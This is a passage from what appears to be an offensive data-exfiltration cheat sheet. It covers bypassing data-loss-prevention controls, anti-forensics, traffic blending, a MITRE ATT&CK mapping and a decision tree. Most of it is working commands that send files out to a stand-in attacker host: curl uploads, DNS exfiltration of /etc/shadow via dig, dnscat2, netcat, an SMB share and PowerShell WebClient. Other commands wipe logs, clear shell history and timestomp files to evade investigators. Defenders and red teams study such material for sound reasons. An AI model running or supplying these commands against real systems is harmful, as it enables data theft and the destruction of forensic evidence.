# Split file into chunks below DLP size thresholds
split -b 100k exfil.tar.gz chunk_
# Send each chunk separately via different channels or times
14.2 Encryption
# DLP can't inspect AES-encrypted content
# Encrypt before exfil → DLP sees ciphertext
openssl enc -aes-256-cbc -pbkdf2 -pass pass:key -in data.txt -out data.enc
14.3 Renaming and MIME Masquerading
# Rename .zip to .jpg — tricks extension-based DLP
mv exfil.7z update_KB4589768.jpg
# Set MIME type to match fake extension in HTTP upload
curl -X POST https://attacker.com/up \
-H "Content-Type: image/jpeg" \
--data-binary @exfil.7z
14.4 Steganography for DLP Bypass
# Hide data inside a real JPEG image
# DLP scans the file, sees a valid JPEG → passes
# Attacker extracts hidden data on receipt
steghide embed -cf real_photo.jpg -sf secret.zip -p "key" -o output.jpg
14.5 Protocol Abuse
# Use allowed protocols to smuggle data
# Example: embed data in DNS TXT records (usually not DLP'd)
# Example: use allowed HTTPS to cloud services (Dropbox, OneDrive)
# Example: encode data in timing of legitimate traffic (timing covert channel)
14.6 Chunked / Slow Exfil
# Send tiny amounts over a long period
# Stays below volumetric DLP thresholds
# Example: 1 KB per hour over DNS → 24 KB/day → undetected
base64 secret.txt | fold -w 32 | while read chunk; do
dig +short "$chunk.exfil.attacker.com" > /dev/null
sleep 3600 # 1 chunk per hour
done
15. OPSEC & Anti-Forensics
15.1 OPSEC During Exfiltration
# ─── Use TLS/HTTPS — never cleartext exfil ───
# → Prevents in-line DLP from reading content
# ─── Randomize timing — avoid regular beacon intervals ───
sleep $((RANDOM % 300 + 60)) # sleep 60-360 seconds between chunks
# ─── Use attacker infrastructure in the target's region ───
# → CDN fronting, regional AWS/Azure endpoints
# ─── Domain fronting ───
# Route C2 traffic through CDN (Cloudflare, Akamai, Azure Front Door)
# DLP sees connection to cloudflare.com, not your C2
# ─── Blend file names with existing files ───
# Bad: cp /etc/shadow /tmp/shadow_exfil
# Good: cp /etc/shadow /tmp/.cache_v2_upd8
15.2 Clean Up After Exfil
# ─── Linux: wipe staging files ───
shred -u -z /tmp/exfil.tar.gz # secure delete
shred -u -z /tmp/chunk_*
# Or:
rm -rf /tmp/.exfil_staging/
wipe -rf /tmp/.exfil_staging/
# ─── Clear command history ───
history -c
unset HISTFILE
export HISTSIZE=0
cat /dev/null > ~/.bash_history
# ─── Clear log entries ───
# Linux auth.log / syslog:
sed -i '/TIMESTAMP_OF_ACTIVITY/d' /var/log/auth.log
# Or nuke the log (noisy but complete):
echo > /var/log/syslog
# ─── Windows: clear event logs ───
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil el | ForEach-Object { wevtutil cl "$_" }
# ─── Windows: clear PowerShell history ───
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# ─── Windows: clear prefetch ───
Remove-Item C:\Windows\Prefetch\* -Force -ErrorAction SilentlyContinue
# ─── Timestomping (modify file timestamps to avoid timeline analysis) ───
# Linux:
touch -t 202001010000.00 /tmp/staged_file
# PowerShell:
$(Get-Item C:\Temp\exfil.7z).LastWriteTime = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\exfil.7z).CreationTime = "01/01/2020 00:00:00"
$(Get-Item C:\Temp\exfil.7z).LastAccessTime= "01/01/2020 00:00:00"
15.3 Traffic Blending
# ─── Mimic legitimate browser User-Agent ───
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-X POST https://attacker.com/up --data-binary @exfil.tar.gz
# ─── Add legitimate-looking Referer ───
curl -H "Referer: https://www.google.com/" \
-H "Accept-Language: en-US,en;q=0.9" \
-X POST https://attacker.com/up --data-binary @exfil.tar.gz
# ─── Use legitimate services as relay ───
# Upload to attacker's GitHub, Slack, Discord, OneDrive
# These domains are in most allowlists
16. MITRE ATT&CK Mapping
| Technique ID | Name | Channel Used |
|---|---|---|
T1041 |
Exfiltration Over C2 Channel | Reuses C2 beacon (Cobalt Strike etc) |
T1048 |
Exfiltration Over Alternative Protocol | DNS / ICMP / FTP / SMB |
T1048.001 |
Exfil Over Symmetric Encrypted Non-C2 | OpenSSL tunnel, custom encryption |
T1048.002 |
Exfil Over Asymmetric Encrypted Non-C2 | HTTPS, TLS-based |
T1048.003 |
Exfil Over Unencrypted/Obfuscated Protocol | DNS, HTTP, ICMP plaintext |
T1052 |
Exfiltration Over Physical Medium | USB, BadUSB, removable media |
T1052.001 |
Exfil Over USB | USB drive copy |
T1567 |
Exfiltration Over Web Service | Cloud: S3, Dropbox, GDrive |
T1567.001 |
Exfil to Code Repository | GitHub, GitLab |
T1567.002 |
Exfil to Cloud Storage | OneDrive, Dropbox, S3 |
T1020 |
Automated Exfiltration | Scripts that auto-exfil on trigger |
T1030 |
Data Transfer Size Limits | Chunking to avoid DLP thresholds |
T1560 |
Archive Collected Data | 7z, tar, zip with encryption |
T1560.001 |
Archive via Utility | zip, 7z, tar, rar |
T1027 |
Obfuscated Files / Information | Base64, XOR, steganography |
17. Master Cheat Sheet
Channel Selection Guide
SCENARIO → BEST CHANNEL:
All TCP/UDP blocked, only DNS allowed?
→ DNS tunneling (dnscat2, iodine, manual)
HTTP/HTTPS allowed outbound?
→ HTTPS POST / curl / PowerShell WebClient
ICMP allowed outbound?
→ ptunnel-ng or icmpsh for covert channel
Strict DLP on all traffic?
→ Steganography inside images → upload to social media / cloud
Only internal network access, no internet?
→ SMB to internal staging box → then exfil from there
→ Air-gap if completely isolated
Blending with business traffic is priority?
→ Cloud storage (S3, OneDrive, Dropbox) via HTTPS
→ Use domain fronting through CDN
No tools allowed, only built-in OS?
→ LOLBAS: certutil / bitsadmin / PowerShell / bash /dev/tcp
Long-duration, low-volume, undetected?
→ DNS exfil with rate limiting (1 chunk/hour)
→ Timing covert channel
Quick Command Reference
# ── DNS exfil (manual) ──
cat /etc/shadow | base64 | fold -w 50 | \
awk '{print "dig +short "$1".d.attacker.com"}' | bash
# ── DNS C2 (dnscat2) ──
dnscat2-server exfil.attacker.com # server
./dnscat2 --secret=key exfil.attacker.com # client
# ── HTTP exfil (curl) ──
curl -T /tmp/exfil.tar.gz https://attacker.com/up
# ── HTTP exfil (PowerShell) ──
(New-Object Net.WebClient).UploadFile("https://attacker.com/up","C:\exfil.7z")
# ── ICMP tunnel ──
sudo ptunnel-ng -x pass # server
sudo ptunnel-ng -p <ATTACKER_IP> -lp 8080 -da <TARGET> -dp 22 -x pass # client
# ── SMB exfil ──
impacket-smbserver share /tmp/loot -smb2support # server
copy C:\secret.txt \\<ATTACKER_IP>\share\ # victim
# ── Netcat exfil ──
nc -lvnp 4444 > received.tar.gz # server
cat exfil.tar.gz | nc <ATTACKER_IP> 4444 # victim
# ── S3 exfil ──
aws s3 cp /tmp/exfil.tar.gz s3://bucket/exfil.tar.gz
# ── Steghide ──
steghide embed -cf photo.jpg -sf secret.zip -p key
steghide extract -sf photo.jpg -p key
# ── Encrypt + compress + encode ──
tar -czf - /data/ | openssl enc -aes-256-cbc -pbkdf2 -pass pass:key | base64
Decision Tree
Need to exfiltrate data?
│
├── What network restrictions exist?
│ ├── Only DNS → dnscat2 / iodine / manual DNS exfil
│ ├── HTTP/S allowed → curl POST / PowerShell / C2 channel
│ ├── ICMP allowed → ptunnel-ng / icmpsh
│ ├── SMB allowed (internal) → impacket-smbserver + copy
│ └── Nothing outbound → physical / air-gap techniques
│
├── Is DLP active?
│ ├── YES → encrypt before sending + fragment + rename
│ │ use steganography to hide in images
│ │ use allowed cloud storage (OneDrive, Dropbox)
│ └── NO → standard tools fine, still use HTTPS
│
├── Avoid attribution?
│ ├── Use domain fronting → C2 via CDN
│ ├── Use cloud services → traffic blends in
│ ├── Randomize timing → avoid pattern detection
│ └── Delete staging files + clear logs after
│
├── Large data volume?
│ ├── Compress first: tar + xz
│ ├── Encrypt: openssl aes-256
│ ├── Split into chunks below DLP thresholds
│ └── Use C2 channel download command (Cobalt Strike / Sliver)
│
└── Small + covert?
├── DNS TXT record tunneling
├── ICMP payload embedding
├── HTTP header encoding
└── Steganography in image → post to social media